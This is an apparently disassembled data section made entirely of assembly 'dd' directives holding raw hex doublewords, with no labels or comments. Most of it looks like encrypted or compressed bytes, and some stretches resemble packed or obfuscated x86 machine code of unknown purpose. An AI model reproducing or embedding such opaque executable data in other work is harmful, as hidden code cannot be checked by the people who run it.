		dd 151D9D93h, 0DA45BAC4h, 55BB5882h, 56DC4EEFh,	27009B72h
		dd 272991E1h, 95E8B2CFh, 267BBD3Bh, 8F015F05h, 12842599h
		dd 0E375BB1Ch, 95FAE8C5h, 6CE6582Fh, 3337A980h,	8382F4CBh
		dd 38904219h, 1F0DD949h, 0F346AAADh, 0AADD60DDh, 3189E77Bh
		dd 50D84A50h, 412F956Ch, 0F29F2A6h, 1E7CE214h, 0A142A6ACh
		dd 0EEC5392Fh, 0D3Ah, 8C7A4F00h, 384F039Eh, 0D1379CC8h
		dd 45CC8873h, 1016885Fh, 0E063D5ACh, 0BCB325FCh, 0BFF7148h
		dd 0C64ABC93h, 939507DEh, 6EE6582Fh, 3035A77Eh,	6873F5CCh
		dd 364Ch, 68243C89h, 738Eh, 68241C89h, 7F54h, 55240C89h
		dd 0EEF71CBDh, 8BEB8905h, 0C483242Ch, 0C8B5404h, 4C48324h
		dd 42B468h, 24048900h, 4189D889h, 34FF5808h, 0C4815924h
		dd 4, 50241C8Bh, 405E089h, 5000000h, 4,	5C240487h, 0F98219E9h
		dd 13A418FFh, 860A28F1h, 0FC2AB840h, 0C50305EEh, 0C672E0FFh
		dd 0AAE5383Bh, 0CC463C0h, 0D8DD19B2h, 63D35356h, 14C60897h
		dd 8C473B28h, 11BF6DF8h, 3F2947C6h, 1B0F53BBh, 393F315Eh
		dd 8513003Dh, 70E204D8h, 0B32C17F9h, 0E2DF76A7h, 0DEA83B79h
		dd 0EDE93ABCh, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
		dd 0E82DC5B5h, 0FE8305h, 22850Fh, 85C60000h, 5E82015h
		dd 69696845h, 0B5FF8E72h, 5E82559h, 7B30858Dh, 0D0FF05EBh
		dd 0C798589h, 0F08B05E8h, 0FE93E80h, 3185h, 0A9858D00h
		dd 0FF05ED6Ch, 0D1BD8BD0h, 8105E822h, 1184C7h, 0C5B58B00h
		dd 8705E82Dh, 8B9F7h, 0A4F30000h, 2DC5B58Bh, 858D05E8h
		dd 5EBA54Dh, 0B58BD0FFh, 5E812B5h, 0F00FE83h, 2285h, 1585C600h
		dd 5405E820h, 4EBEF468h, 59B5FFFFh, 8D05E825h, 0EB7B3085h
		dd 89D0FF05h, 0E812B585h, 80F08B05h, 850FE93Eh,	3Ah, 12B5B58Bh
		dd 858D05E8h, 5ED6CA9h,	0BD8BD0FFh, 5E822D1h, 1184C781h
		dd 0C7830000h, 0B5B58B08h, 8705E812h, 8B9F7h, 0A4F30000h
		dd 12B5B58Bh, 858D05E8h, 5EBA54Dh, 0C361D0FFh, 0FCDE858Dh
		dd 858905EEh, 5E80DD1h,	0DE8h, 150E8800h, 4D246358h, 558560FCh
		dd 0F60ED16h, 18Fh, 5A57F500h, 8B665E61h, 50C681C7h, 8100006Bh
		dd 0C06A30EFh, 0A754B917h, 0E98161ABh, 61AB8CA7h, 6FD9ADBBh
		dd 81168B11h, 0AD77EC2h, 880F5657h, 2, 8158C68Bh, 4DE91AF2h
		dd 0C7EC8020h, 4106F281h, 0C6B31F43h, 9E91689h,	4000000h
		dd 0FFE6109h, 4D1AFFBAh, 5BABEE81h, 0EE968DBh, 35000000h
		dd 1D61C655h, 5EDC9724h, 457ED5C2h, 0A7C6815Ah,	8B68DB5Bh
		dd 850F49FBh, 0FFFFFFA5h, 8E9h,	321F7C00h, 70799984h, 9A04EBDEh
		dd 0E919FACBh, 546h, 45E6DE53h,	0C96A52D3h, 4EEFDF57h
		dd 0D5765ADCh, 56F7EF63h, 2226C797h, 0A0A719BAh, 2E299B3Ch
		dd 0B9AF21C2h, 5240A445h, 0B73603B7h, 4631F3A2h, 8B6246CCh
		dd 0A9C01119h, 9F83E759h, 1394EA0Fh, 0B57F88C0h, 0D873614Fh
		dd 9CC91724h, 0AF50AE14h, 0B04B373Dh, 9CC916FCh, 0AF63FEECh
		dd 979CC916h, 8E65CB31h, 0DBB2161Ch, 2900EC69h,	2D308371h
		dd 174F63E3h, 0EAC1272Ch, 68C01E84h, 9377FD19h,	198780F2h
		dd 19C8A78h, 9CC8CB4Dh,	0B44F3Dh, 0E89CC8CBh, 4CBE1C82h
		dd 9C0EE5CBh, 0D1433197h, 0F0D45A5Ah, 764DB319h, 0FDBB210h
		dd 44B8AF21h, 23F38EE6h, 0A91BBC20h, 0CD683FA3h, 9CC8CB16h
		dd 17EED65Ah, 653CA0A5h, 0DF433E96h, 3C6E136Bh,	9828AEEh
		dd 65B2h, 46CCC700h, 17EEDE56h,	0EB5D4BB1h, 0AD61FC68h
		dd 9D9CC837h, 0E75FD137h, 5CBA20F7h, 3830EA85h,	20789CC8h
		dd 0F6FB4961h, 8BF0981h, 0D1000000h, 21F8E45Fh,	0CC725DBBh
		dd 1A8C6349h, 68DAB11Bh, 0A21402EEh, 7DE3CA0h, 8C8AF74Fh
		dd 10822389h, 1705A61Ah, 643BAFA5h, 238973F2h, 37E69A35h
		dd 68CE9CC8h, 44CC1F0Ah, 1E178960h, 0B008D7AEh,	0D9CD45D1h
		dd 5C40C638h, 0AB131385h, 0C33523D4h, 98865D41h, 0C83849FDh
		dd 65CB319Ch, 0D8D2AF07h, 981F17Ah, 653Eh, 0DE505300h
		dd 0C037567h, 40C83A98h, 1313855Ch, 0C41CD4ABh,	0EDD159BDh
		dd 6E56DA4Ch, 0B3232597h, 0D734AB2h, 0CD47B9A7h, 0FBAC83E1h
		dd 6ECCDEA3h, 320981F1h, 54h, 68DE5047h, 9C02EE68h, 8F015FC5h
		dd 0DA4C239Bh, 0EA9C7359h, 58ABEF92h, 0E75EBE16h, 0C63896D9h
		dd 3CDA6D42h, 2CBB1DCAh, 0F85EC428h, 49CC6C57h,	88EEDE57h
		dd 385F16B1h, 0ADA59CC8h, 7BF06239h, 0F64EAE85h, 0CB23978Bh
		dd 0F7A6F4B6h, 16A0981h, 7F000000h, 8D6448CCh, 0DAB1151Bh
		dd 4BCBB60Eh, 6242E3CBh, 25D97423h, 159CC838h, 0D4383DAFh
		dd 160E806Eh, 0CB3134A6h, 55E47F6Dh, 596E0EAh, 87DAC89Fh
		dd 3B917C41h, 0FB747B7Eh, 1EF5DE31h, 0B2B82A88h, 353BAD4Eh
		dd 1E0CFAD1h, 0B03DCF83h, 0A60A0DA2h, 3BA169CFh, 3D8842DDh
		dd 53D2A2B0h, 2A209269h, 277FDFB6h, 0BE16C85Ah,	0E9DD53C3h
		dd 6C50D648h, 41F5907Eh, 29A2B03Eh, 1C8E65C3h, 32AEA616h
		dd 0FB61C73Dh, 9B8CBA0Dh, 8099511Ch, 0DC421987h, 72411876h
		dd 47FB9684h, 2FA2B09Dh, 9CF2A641h, 7CE2A2B0h, 2160B816h
		dd 9D8B7FF5h, 9D6014AFh, 0E248A2B0h, 0B705E384h, 7B0F6A5Ch
		dd 12Bh, 0F81F5E90h, 16F86F0Ah,	6696E0h, 0D056BF12h, 0D8F69DFAh
		dd 24FBE166h, 178960BEh, 1E0CAD11h, 86E19530h, 8A3A2B0h
		dd 0A2B08754h, 0B016DE44h, 766AE052h, 0C3272D9Fh, 0A94482D5h
		dd 0C22687D4h
		dd 0D0BE8D64h, 99F7E55Eh, 50D64041h, 0C72B7E6Ch, 52A653CEh
		dd 2E081DFh, 0F6AA5B4h,	5D78h, 1B5E8D00h, 969C0EFCh, 6EE95B32h
		dd 0DF45AB82h, 34F89381h, 649CC838h, 3827DB76h,	0EE659CC8h
		dd 0F5BD23FAh, 0B752298Fh, 9CC83803h, 77FB6D5Bh, 0F452B88Fh
		dd 80C3E59Ch, 72F96B59h, 0F351B78Eh, 37A66A05h,	88EE9CC8h
		dd 7D33E7h, 57450000h, 0C83808BCh, 867EF09Ch, 73D93F16h
		dd 1F5E2A15h, 486F0AF8h, 9096E0E6h, 0FC84AC3Dh,	2D238072h
		dd 2DF553B9h, 73F0A43Fh, 0EAD8A2B0h, 0B0739B4Fh, 0BF258BA2h
		dd 1A108259h, 0C41705A6h, 0E73CAF1Ch, 52C422BAh, 7157DCDCh
		dd 0DC99340Bh, 30A2B079h, 0E76DA9D8h, 43826203h, 55932E1Ch
		dd 0A19CC17Ch, 7CF2643Bh, 8DE5B188h, 4E75B4F4h,	0F687C560h
		dd 96F96DFh, 40ACA91Bh,	5E5641E2h, 1C0AF81Fh, 0C837CD81h
		dd 6957BD9Ch, 0C8381ACEh, 46A40A9Ch, 397FBD58h,	0DF5196D9h
		dd 531B7965h, 3A2816EDh, 35FDB14Ch, 87EDA2B7h, 0B73638ECh
		dd 5CBA20A2h, 0DF8064EAh, 2C03E76Dh, 25463591h,	0B52715FEh
		dd 0E744BBFh, 0ED2958B0h, 0A7958367h, 0C369580Ch, 7CDA40B6h
		dd 0FFE369DBh, 50BCB628h, 25D97462h, 15B6C369h,	0AE7A51AFh
		dd 0E6D64EC0h, 0AC0AFE74h, 63E92D54h, 241F917Fh, 47B95AB8h
		dd 6A56D1C1h, 0F0C72D93h, 113Ch, 0B2FB4E00h, 0C21BFE78h
		dd 45BBB022h, 0BFAA086Eh, 45CC8F7Ah, 1016885Fh,	0E063D5ACh
		dd 0BCB325FCh, 0BFF7148h, 0C64ABC93h, 939507DEh, 6EE6582Fh
		dd 3035A77Eh, 5173F5CCh, 0C1815954h, 4,	8704E983h, 525C240Ch
		dd 0C281E289h, 4, 4EA81h, 14870000h, 34895C24h,	1FB26824h
		dd 0C890000h, 0DC685024h, 5874D706h, 0D03E8C1h,	51DD1FB8h
		dd 0F101742Dh, 585E5059h, 163D68h, 24248900h, 4240483h
		dd 4815659h, 0AA355024h, 8418F53h, 15C3BA52h, 0C28139F0h
		dd 69C464D6h, 0C108E2C1h, 814205EAh, 0E83569F2h, 0F0F28177h
		dd 2921E1D4h, 0FF5A0851h, 83592434h, 34FF04C4h,	0C4815E24h
		dd 4, 0F97AD9E9h, 0F779E6FFh, 32B8C674h, 305EF03h, 0A0E0FFC5h
		dd 9F2A04C8h, 700BA86h,	291B20B1h, 0A725FEC7h, 4544EBB3h
		dd 0F9520D8Bh, 85180A11h, 0E47CF501h, 16B144Ch,	0B6749F64h
		dd 0B343E22Ah, 5683E28h, 952DE277h, 3E11B5BDh, 2D2F49E6h
		dd 311FAF1Eh, 685FB891h, 257D8344h, 88590B54h, 55CA300h
		dd 9C6E62D4h, 1D0DAFB4h, 0B120A290h, 0A97A34C1h, 4A155105h
		dd 6537C4DEh, 0BB4418B2h, 0EB7B05F3h, 8, 0DD625D00h, 4FAE964h
		dd 52680000h, 0E905EF05h, 0FFF97A42h, 0EF05B168h, 7A38E905h
		dd 4868FFF9h, 0E905EF07h, 0FFF97A2Eh, 31D2CA3Fh, 0B55646BFh
		dd 3ADBC343h, 0C1624EC8h, 42E3DB4Fh, 1E12DB83h,	9C9305A6h
		dd 12158728h, 959B0DAEh, 3E2C9031h, 0B73BEFA3h,	2A15D7A2h
		dd 726044CCh, 0BD940800h, 0B022F957h, 0C5A546BAh, 0EAD25386h
		dd 36AAA113h, 0E17C6AD0h, 96E01F52h, 0FDE368DAh, 4ABEB426h
		dd 49A70D73h, 56441B81h, 745F6403h, 13713674h, 0B049C078h
		dd 126FC7A2h, 6A094A98h, 3337A90Fh, 0EFE46DCBh,	0F9000002h
		dd 86C538EEh, 53D6715Fh, 396E018h, 6988239Dh, 839F4FF1h
		dd 4CAA1611h, 18062D6Ch, 2410D72Ah, 0B4E3C960h,	6AFCBB56h
		dd 349A8F6Dh, 7AFD6F5Dh, 0FB59BF96h, 0C7B5DC1Bh, 467CE72Ch
		dd 5B49AF94h, 9074FB6Dh, 83F553B9h, 0A70B0D8Dh,	63046AD0h
		dd 3D877BF1h, 0EA5BAEA0h, 2B43F7CEh, 1E000003h,	9E10B12Bh
		dd 229435A7h, 0A719BA22h, 2EA041ADh, 6221C23Ah,	8579F1BAh
		dd 7FD72E4h, 8D73F466h,	10F47AECh, 821D0B6Fh, 0A2B73CCEh
		dd 5E09F4B6h, 980AF81Fh, 0F359309Ch, 1C0CA795h,	0FC96D934h
		dd 3236A896h, 0B3B729CAh, 1CD9744Bh, 30A2B73Ch,	0D57CC63Ah
		dd 17EBDF63h, 2CC8C40h,	0F47D0000h, 78FD6F10h, 8581F394h
		dd 0C067819h, 858DFFA0h, 1DC18021h, 43E4D850h, 0C5665AD1h
		dd 4BECD053h, 0CE6F53D9h, 2DE17C6Ah, 1DA2B73Dh,	1F5E705Bh
		dd 0A5B70AF8h, 0B388EDDDh, 2B939305h, 5444DFCDh, 0C496D9E3h
		dd 10E7DD52h, 5F36A69Eh, 3F2D93F9h, 8664ACDh, 0EBDE9631h
		dd 8DE5A2B7h, 5153A6F4h, 6F5C613Eh, 97E5C321h, 5B0F71CCh
		dd 1BEh, 6246CC70h, 0AF13198Bh,	0C8EF2E0Eh, 1EF68DAh, 0D9C7B5A3h
		dd 28FFEF67h, 387327C2h, 0FD639CC8h, 9D5049Fh, 5FC596E0h
		dd 4635ED88h, 0E43CA2B0h, 1BF0D9Dh, 4D830F6Ah, 95000000h
		dd 3E580CA7h, 0A6B5A2B0h, 84E9F644h, 1876DCA4h,	0F81F5E2Dh
		dd 0C206F0Ah, 0E84E96E0h, 42BE7611h, 0F04A2B0h,	0D550C299h
		dd 58B010E7h, 5A48F929h, 0AC656407h, 0ED401FC5h, 4DE369B3h
		dd 84DC3A8Ch, 0AF5FADFDh, 0D7230F6Ah, 38000000h, 746246CCh
		dd 38960E02h, 837BEF61h, 0E3343AACh, 74D5B685h,	0B48BF193h
		dd 0BAEBCC42h, 58F7E654h, 0E47F2086h, 9CC83786h, 0ED68DAC8h
		dd 27C228FFh, 9CC83873h, 8579F163h, 84E248AEh, 7A81C12h
		dd 6807C619h, 0C5F13AEh, 0E1479CC9h, 0DECEF38Eh, 0B00E7468h
		dd 7C6A91D0h, 44A20A0Ah, 0C75ABB56h, 0E93C96E2h, 177196Fh
		dd 2A187E42h, 485FB0B8h, 9089485Dh, 0C2B09E04h,	0B2447327h
		dd 0DA7563A2h, 0A2B24426h, 0E442A80Eh, 6CE35543h, 0A0A81A78h
		dd 7579F23Ch, 0C097F7B8h, 1350Ch, 0A71D1400h, 2B919406h
		dd 0B01C188Ah, 379B9D0Fh, 0B82C2496h, 0E7845817h, 68DA7B63h
		dd 0EA5CFDE3h, 70E28369h, 16506FAh, 3EC47813h, 0F2B4A2B7h
		dd 6044CC07h, 0E3C74DBFh, 46CC5742h, 13198B62h,	0AE200EAFh
		dd 0AEA48B4h, 0C8B6A4CBh, 7DEFDD56h, 0DA4017FBh, 0CB0FE17Ch
		dd 0D93F96E0h, 898BFDEBh, 854E029Dh, 0D036A2B0h, 0E540936Ah
		dd 413EAB31h, 2193F157h, 7914B529h, 0A2B0F2C1h,	0AF9D0107h
		dd 0FFD63A3Dh, 289A3B99h, 0F7E5BC20h, 0E599B7A4h, 5BB9D6CCh
		dd 9DA7h, 1F5EBC00h, 0A36F0AF8h, 0F396D933h, 2B2D9F8Dh
		dd 0EDD155C7h, 7B52B016h, 0C5B20309h, 0BAC65392h, 0A107FF73h
		dd 22289A3Bh, 0E75ED0BEh, 1C8083F5h, 0AA81DF45h, 0D95CCEBCh
		dd 1BB61CF3h, 0A2B7CD67h, 0F08BE94Fh, 430A4199h, 160081D9h
		dd 990BAC10h, 0E6582F93h, 0DDA9806Ch, 2C9EFC85h, 0BDEED92Ah
		dd 87D416B6h, 72E44A21h, 0CA3007FDh, 874FA6Ch, 902B9196h
		dd 1A5C7DCh, 7CF466CCh,	0E54BB188h, 5C5CD244h, 0B41AF1D7h
		dd 0FC3774Eh, 0D8000000h, 7567DE50h, 145EC422h,	68C6F99Bh
		dd 45CCB9A4h, 1016885Fh, 0E063D5ACh, 0BCB325FCh, 0BFF7148h
		dd 0C64ABC93h, 939507DEh, 6EE6582Fh, 3035A77Eh,	5173F5CCh
		dd 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 57241C89h,	0C781E789h
		dd 4, 4EF81h, 3C870000h, 14895C24h, 88B95124h, 0D1418344h
		dd 0D2BB53E1h, 8125BC39h, 0A1FD5C3h, 0F6E38129h, 8141191Fh
		dd 9D0078F3h, 85C38161h, 31654C73h, 0CB895BD9h,	148B5459h
		dd 4C48324h, 8904EC83h,	428F241Ch, 24148B08h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835B2434h, 5FE904C4h
		dd 3DFFF975h, 6D0AC9C5h, 2C5AB7DEh, 0AD130077h,	0EF08A2B8h
		dd 0FFC50305h, 0BBF43FE0h, 0D4D6400Bh, 168A7335h, 0D8C47620h
		dd 0F41DC60Eh, 9E07CC32h, 455C4162h, 34ABF71Dh,	0CDF24C4Fh
		dd 400B9665h, 505F6451h
		dd 7D8B6E7Bh, 1C9F5C58h, 0C7D8153Eh, 5D267E5Ah,	34768574h
		dd 448B2325h, 0F8A86A4Fh, 759DAA09h, 1F4034Ah, 6C77153Dh
		dd 78A3FB2Dh, 0C0145E0Ch, 30B42723h, 0E3BDF378h, 6E8D8D0Eh
		dd 0E805EF0Ah, 9, 0E89898Ah, 0EA4DD244h, 31B589E3h, 5A05E82Dh
		dd 159D8D89h, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F43619C3h, 0DBEB22C6h, 0E922EB0Bh
		dd 10h,	9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh, 85C777B4h
		dd 5E80705h, 7228h, 8681C381h, 85C77660h, 5E80A61h, 0
		dd 0D5C0D9BEh, 39B5FF19h, 6A05E81Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 87C2C350h
		dd 0F8D78AC0h, 81595FFh, 0D98B05E8h, 95FF006Ah,	5E820F9h
		dd 4AEBC08Bh, 0CE558D77h, 48B8A7E6h, 502F6006h,	24D3FBB8h
		dd 7589EE7Dh, 5326395Eh, 738BA490h, 0DF939CD3h,	0F4F46CC9h
		dd 9D6859FCh, 0FE88F876h, 0E7C01150h, 0B287548Bh, 502A6ECAh
		dd 0BB776DEDh, 899E6C6Bh, 0A754EB45h, 460E1B86h, 4EBAF65h
		dd 704D0D12h, 0CE1E9h, 0CA86800h, 0CFE905EFh, 68FFF973h
		dd 5EF0D94h, 0F973C5E9h, 0F2568FFh, 0BBE905EFh,	68FFF973h
		dd 5EF1034h, 0F973B1E9h, 133168FFh, 0A7E905EFh,	68FFF973h
		dd 5EF14CBh, 0F9739DE9h, 163368FFh, 93E905EFh, 0DAFFF973h
		dd 5ACC6D57h, 0DE50F1DBh, 63D57666h, 0EA5CFDE1h, 1EDD7E66h
		dd 41A5AD7Eh, 0C3392EA0h, 49B7B022h, 0CC3036A8h, 3ED9C72Bh
		dd 0A2B7428Ah, 0CCCDB87Ah, 198B6246h, 4FC1AF13h, 0B48BE9D5h
		dd 0CBEEC142h, 0EDE4C52Dh, 5824FB61h, 2B198100h, 0C8A0DC90h
		dd 866CC9Ch, 8B2C9096h,	0BFAD1119h, 0A18236D1h,	0C729CC8h
		dd 959B0DAEh, 62E85A31h, 6C282491h, 81E796EAh, 8EC100E0h
		dd 80D32696h, 0D577D081h, 3BD6C42Ah, 96E0930Ch,	12AD84EAh
		dd 0A2B0BF5Ah, 6138A4A0h, 0AD8478EFh, 3AFB86DEh, 733CD5ECh
		dd 9748AE1Dh, 1A68423Fh, 0DE0F6AB2h, 33h, 0F81F5EF3h, 0ABAA1C0Ah
		dd 0A6046A41h, 0E00CBC0Bh, 5D349A96h, 0B0430AC2h, 0C8B911A2h
		dd 6A0294E2h, 0FC580Fh,	0F86A0000h, 0D3C8F7Dh, 0E6AB9B13h
		dd 0CC9B86E4h, 86746246h, 0C83837EBh, 5BB91F9Ch, 0A61E1284h
		dd 71D365B8h, 0E93CA0A4h, 43A1FFECh, 9074FA6Ch,	42DDCBB9h
		dd 9CC8888Eh, 8D6448CCh, 9BF95F27h, 0D1BF2329h,	1FF6E65Fh
		dd 1FBA5BB9h, 9CC884C2h, 0B2A0040Ah, 1943DC5Fh,	0C8F1CA7Eh
		dd 154BA9Ch, 7EDCECE7h,	1E56BDDh, 37ABA113h, 98FAAE49h
		dd 84EA9CC8h, 306F4F26h, 0E5801B09h, 0AF96E067h, 0A87226C1h
		dd 0FC62A2B0h, 0CF70D69Eh, 9B89B0EFh, 0A85E12ADh, 0E046A2B0h
		dd 2BF99482h, 6B9CC5DFh, 0ADA51705h, 7428C3B1h,	649CCB11h
		dd 10AF63FEh, 31979CCBh, 0B0B82ACBh, 33EA024Ch,	2F06F1D1h
		dd 0A567Bh, 7FD7400h, 8B71F466h, 10FC78EAh, 977BFD6Fh
		dd 188C84F6h, 47E4B877h, 0C83ADBC3h, 4ABC5D43h,	0D042E3C9h
		dd 61C5665Ah, 4424D873h, 5214A2B7h, 6044CC67h, 0E3C74DBFh
		dd 1F5E5742h, 206F0AF8h, 2896E00Ch, 42EB9F3Ah, 75DBA2B0h
		dd 12E94F17h, 4CC43624h, 801B8158h, 0A2B042CCh,	5DF856BCh
		dd 0A2B042A5h, 0AE8569EBh, 0FBD2363Ch, 0E43E439Bh, 4A6DB33h
		dd 0F6A02B6h, 0B27Ah, 46CC8F00h, 378B3FDAh, 157B9CC8h
		dd 0E266D8AFh, 2B8823FAh, 619CC833h, 0E456F7EBh, 0C3A37A6Eh
		dd 5FDB5184h, 0C83C10C4h, 2C92F89Ch, 18CC6755h,	9CC83Ch
		dd 4CC2349Ah, 6904F258h, 96E00ACEh, 0C5A546ACh,	0D6715F86h
		dd 9CCAA6DBh, 918D83F5h, 0CAEB42F6h, 66CC329Ch,	3CB298Fh
		dd 353DAF9Dh, 4ABE30D1h, 0DE60852h, 3F16F1D1h, 96A8Bh
		dd 0F3E96000h, 7765E052h, 0FCE064D6h, 836FE95Bh, 4F870E2h
		dd 33F8A463h, 0B426C73Fh, 36A849BFh, 0BC2ECF3Dh, 4DB152B6h
		dd 4510C45Fh, 36F8A2B7h, 6044CC4Bh, 0D77ED1BFh,	0C27FF998h
		dd 0AEA41674h, 0CCAE993Ah, 9D8B6246h, 61BF272Bh, 0FF7979EFh
		dd 710CAD13h, 9CC837B9h, 0F49509FFh, 41188C82h,	776BE153h
		dd 0B14C3AA0h, 9CC837FDh, 0B72987EDh, 0A7764DB1h, 6EE4324Fh
		dd 79EBD97Ah, 0D5B311FDh, 981F787h, 8C4Bh, 1F5E6000h, 3720EB0Bh
		dd 0A40A0595h, 8AF81BB6h, 0B81E96E0h, 0C48E46E1h, 3D95A2B0h
		dd 80186644h, 66DC0F6Ah, 0F1000000h, 0C837ECA3h, 0C61B49Ch
		dd 28758449h, 13523290h, 3C63FEECh, 0CA96E17Dh,	0D951C364h
		dd 0EF2E0EE5h, 5C3FDAC8h, 849CC9A3h, 4CAA1212h,	0DD301E84h
		dd 5BF914A9h, 19BA186Dh, 6940ACA7h, 35234A89h, 5F4FF447h
		dd 0DBD2AA4Dh, 359B725Ah, 87D671CFh, 0E796E096h, 9FF2E081h
		dd 0F81C07F4h, 23D735ADh, 4BAh,	0F81F5E38h, 4146F0Ah, 0FC6296E0h
		dd 4AD28A25h, 0EBD9A2B0h, 4AAE62FDh, 3096A2B0h,	0A3077AD2h
		dd 0F6A0655h, 49119h, 25EE2E00h, 645279B8h, 0E01846C9h
		dd 6500EE96h, 0A2B057B1h, 0DD53399h, 35922DA7h,	0E9707007h
		dd 0FA9583AAh, 430D1BEBh, 6E4E258Bh, 7F1A082Fh,	40A2D897h
		dd 0F8D94FC1h, 0BDB3A2EDh, 2684EAFCh, 980AF85Eh, 1B8D2E92h
		dd 4367B115h, 7F9DFCD2h, 7D9F4A8h, 78F10000h, 0F471E384h
		dd 71F56708h, 0F87AEC8Dh, 9017314h, 6935F495h, 0B7584CC4h
		dd 39DACE45h, 0BF604CC7h, 42E3C74Dh, 0A155F0DEh, 89A2B746h
		dd 46CCDCC7h, 6CAB8B62h, 95BC5745h, 8596E01Eh, 5148FC97h
		dd 0CA30A2B0h, 16887664h, 72D8AF1Dh, 3BA1A214h,	0C12F289Ah
		dd 509B4FEAh, 0B8A2B0h,	0CAA2B021h, 19F0DC58h, 0D6CA41B3h
		dd 32599878h, 63E45644h, 0A1841F7Dh, 0C39CC818h, 88E6DA51h
		dd 0FA6C5AC0h, 5CA5A374h, 843A0735h, 4EE9C01Eh,	9CC83996h
		dd 6E3C459Dh, 981F920h,	6D382C7Fh, 67EA1E68h, 0C42A01EDh
		dd 3D77005Eh, 89000000h, 0D6AD1117h, 5E271270h,	1C0AF81Fh
		dd 0C837CD81h, 0F957BD9Ch, 0D6CA1D0Bh, 532C8294h, 806986Ch
		dd 0AC1212FFh, 0D8DCB34Eh, 248A96E0h, 2409E336h, 657F6889h
		dd 177C3007h, 91000000h, 0AF81F5Eh, 0E002D06Fh,	0EAD83E96h
		dd 8CBF4497h, 0D7355F18h, 46CC1500h, 5B2A1862h,	633AF1CEh
		dd 6CAAFh, 93090000h, 178580F2h, 9C000476h, 238F89FBh
		dd 0A4181082h, 0D3984403h, 54C6675Fh, 0D648E9DFh, 5CCE6F5Dh
		dd 0ED51F2D6h, 47B064FFh, 0D698A2B7h, 0F81F5EEBh, 0C536B70Ah
		dd 8A05137Ah, 48A33E2Ch, 2E96E0DEh, 9103F1C8h, 0EB512894h
		dd 0B1151B8Dh, 0E8D451C3h, 7A83BE11h, 0CCAC4F0Dh, 0CC670866h
		dd 0FD669595h, 62032A6Dh, 18104382h, 0CA4746B7h, 6FD5C2B8h
		dd 2F9579FDh, 7D07A641h, 0A107B983h, 762AC5B3h,	5EC413A6h
		dd 0D5C39AF8h, 59EF3F82h, 0B412375Dh, 4ACDC342h, 0C3298F66h
		dd 0F7EF63D5h, 1C0AF899h, 137ECD81h, 0F957BDC4h, 0C5B3DA19h
		dd 0F377E9D7h, 7EBC700Bh, 0EB86C413h, 0C4137F37h, 8BF1B91Fh
		dd 56AF922Dh, 65D7BE2Bh, 0F89912E3h, 0F157BCD7h, 0E84EB48Bh
		dd 5BE7611h, 0E04BF6Ch,	0C228948Eh, 12FE79EBh, 0FE83DB3Bh
		dd 661B7324h, 0F7AB4634h, 0DFBF6C05h, 0EF3D1B79h, 0B32C25C1h
		dd 0F9h, 0F81F5EC8h, 1D146F0Ah,	0FC6296E0h, 0F2C2BB0Eh
		dd 0AFE18E4Eh, 398C7A51h, 330CFF84h, 0D73F6178h, 1F24F144h
		dd 8389FB59h, 60C7E1Fh,	0F930CBA2h, 0F9FD6634h,	3036E0A1h
		dd 0B3B92BCCh, 0A6DD784Fh, 901A210Ah, 0DF514938h, 3AA07767h
		dd 0E46ADCh, 0FB67ED5Fh, 0B06EAC60h, 0D0369CA2h, 0B0D519F9h
		dd 0E262D4C2h, 22BD23FAh, 0A2B06F6Eh, 7E62E456h, 7DDB41A7h
		dd 6F60F48Fh, 0A208A2B0h, 0BBC01301h, 48CCD9BCh, 4432381h
		dd 0C554EFDDh, 0B59CC813h, 6784Fh, 8389FB9Ch, 11AD481Fh
		dd 0E59CC844h, 2C22F48Dh, 21D571CBh, 8FF5F288h,	8E3D53EEh
		dd 0B0032075h, 806E1926h, 0BF9FFDA2h, 4ABC5D7Ch, 6E09E0C4h
		dd 8A562B0Ah, 47CFB20Ah, 0CA3CDDC1h, 0A9896044h, 0CF3F376Ah
		dd 1B8D7B69h, 0BA55B31Bh, 88F35453h, 7DEFDD43h,	0A10D09F9h
		dd 27FE64CAh, 0EC263C1h, 4Fh, 18FD5023h
		dd 0F05FA8E0h, 357454B2h, 0C032200Eh, 177D5448h, 0E03EA2A5h
		dd 0E0756E45h, 0E46ADC96h, 51C39A00h, 0CFAE8D4h, 0B099BD71h
		dd 0E947ADA2h, 0E012F548h, 0FF0BB407h, 9C60AB89h, 0F75D3498h
		dd 0F533391h, 0D96500EEh, 0A1A2B112h, 50AD983Bh, 3813C762h
		dd 0D2599CC8h, 62C026EEh, 0E5867AF0h, 0BA6E09F7h, 0AA9CC837h
		dd 0C706E644h, 0E45FB2A0h, 6228AC52h, 7E190765h, 96E0DF47h
		dd 71E3D137h, 0F7690AF6h, 0D9B9907Ch, 0EA85739Ah, 9CC8E6C3h
		dd 16380053h, 35533858h, 0FB6FE1CFh, 0B9BA2C03h, 0B0167C53h
		dd 28E07B52h, 9CC8B5h, 11AC9AC1h, 96E0CD2Eh, 841FF65Ch
		dd 0A2B0ECCCh, 0A4067BD3h, 0F6AAC56h, 131Ah, 1F5E2F00h
		dd 986F0AF8h, 0C696E009h, 0ED58960h, 0EA000000h, 0AF81F5Eh
		dd 0E002D06Fh, 1D83E96h, 0C7625016h, 9CC83813h,	0CD3F9D03h
		dd 19196347h, 45F1CE5Bh, 3CDBA6Eh, 74FD0000h, 0F87DEF90h
		dd 5017314h, 8C86F899h,	50D7F20h, 9D4100A1h, 0C36458D0h
		dd 45E6DA51h, 0CB6C50D3h, 4EEFD359h, 0AD61FCEAh, 9DA2B74Ah
		dd 0FD50F0DBh, 0E75E172Dh, 65B81EF5h, 0BA18E46Bh, 51D2C248h
		dd 0BC2E056Bh, 686565B6h, 0CBB0DE75h, 0BF8BF178h, 7FE52F58h
		dd 0E94E3E91h, 9D18CC67h, 9A009CC8h, 0DB30A247h, 0BDFCDC7Dh
		dd 0DE0DA896h, 9696E015h, 3A590DA8h, 0DB41A2B0h, 2A01ED69h
		dd 389E66C4h, 3A0EC661h, 0DF54A2B0h, 51BF12E9h,	794A01EFh
		dd 9C000577h, 0CCB50DC5h, 64B7A556h, 932E93CBh,	0A2B0E1DFh
		dd 330E61C7h, 88D72AC7h, 972CD8DEh, 0D6AB0361h,	6AE486D4h
